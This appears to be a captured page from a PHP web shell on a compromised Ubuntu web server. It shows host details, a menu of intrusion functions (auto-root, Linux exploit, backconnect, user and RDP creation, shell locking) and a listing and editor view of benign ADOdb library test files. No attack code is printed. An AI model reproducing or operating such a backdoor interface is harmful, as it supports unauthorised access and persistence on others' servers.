Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.118.186.156
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdu /
libs /
adodb5 /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
a.mdb
1.96
MB
-rwxr-xr-x
benchmark.php
2.03
KB
-rwxr-xr-x
client.php
3.99
KB
-rwxr-xr-x
pdo.php
1.73
KB
-rwxr-xr-x
test-active-record.php
2.28
KB
-rwxr-xr-x
test-active-recs2.php
1.39
KB
-rwxr-xr-x
test-datadict.php
7.44
KB
-rwxr-xr-x
test-perf.php
909
B
-rwxr-xr-x
test-pgblob.php
1.99
KB
-rwxr-xr-x
test-php5.php
2.48
KB
-rwxr-xr-x
test-xmlschema.php
1.28
KB
-rwxr-xr-x
test.php
54.17
KB
-rwxr-xr-x
test2.php
573
B
-rwxr-xr-x
test3.php
896
B
-rwxr-xr-x
test4.php
4.56
KB
-rwxr-xr-x
test5.php
1.35
KB
-rwxr-xr-x
test_rs_array.php
679
B
-rwxr-xr-x
testcache.php
806
B
-rwxr-xr-x
testdatabases.inc.php
17.49
KB
-rwxr-xr-x
testgenid.php
731
B
-rwxr-xr-x
testmssql.php
1.99
KB
-rwxr-xr-x
testoci8.php
2.31
KB
-rwxr-xr-x
testoci8cursor.php
2.9
KB
-rwxr-xr-x
testpaging.php
2.26
KB
-rwxr-xr-x
testpear.php
873
B
-rwxr-xr-x
testsessions.php
2.08
KB
-rwxr-xr-x
time.php
520
B
-rwxr-xr-x
tmssql.php
1.84
KB
-rwxr-xr-x
xmlschema-mssql.xml
832
B
-rwxr-xr-x
xmlschema.xml
961
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test-active-record.php
<?php include_once('../adodb.inc.php'); include_once('../adodb-active-record.inc.php'); // uncomment the following if you want to test exceptions if (@$_GET['except']) { if (PHP_VERSION >= 5) { include('../adodb-exceptions.inc.php'); echo "<h3>Exceptions included</h3>"; } } $db = NewADOConnection('mysql://root@localhost/northwind'); $db->debug=1; ADOdb_Active_Record::SetDatabaseAdapter($db); $db->Execute("CREATE TEMPORARY TABLE `persons` ( `id` int(10) unsigned NOT NULL auto_increment, `name_first` varchar(100) NOT NULL default '', `name_last` varchar(100) NOT NULL default '', `favorite_color` varchar(100) NOT NULL default '', PRIMARY KEY (`id`) ) ENGINE=MyISAM; "); class Person extends ADOdb_Active_Record{} $person = new Person(); echo "<p>Output of getAttributeNames: "; var_dump($person->getAttributeNames()); /** * Outputs the following: * array(4) { * [0]=> * string(2) "id" * [1]=> * string(9) "name_first" * [2]=> * string(8) "name_last" * [3]=> * string(13) "favorite_color" * } */ $person = new Person(); $person->name_first = 'Andi'; $person->name_last = 'Gutmans'; $person->save(); // this save() will fail on INSERT as favorite_color is a must fill... $person = new Person(); $person->name_first = 'Andi'; $person->name_last = 'Gutmans'; $person->favorite_color = 'blue'; $person->save(); // this save will perform an INSERT successfully echo "<p>The Insert ID generated:"; print_r($person->id); $person->favorite_color = 'red'; $person->save(); // this save() will perform an UPDATE $person = new Person(); $person->name_first = 'John'; $person->name_last = 'Lim'; $person->favorite_color = 'lavender'; $person->save(); // this save will perform an INSERT successfully // load record where id=2 into a new ADOdb_Active_Record $person2 = new Person(); $person2->Load('id=2'); var_dump($person2); $activeArr = $db->GetActiveRecordsClass($class = "Person",$table = "persons","id=".$db->Param(0),array(2)); $person2 = $activeArr[0]; echo "<p>Name (should be John): ",$person->name_first, " <br> Class (should be Person): ",get_class($person2); ?>
Close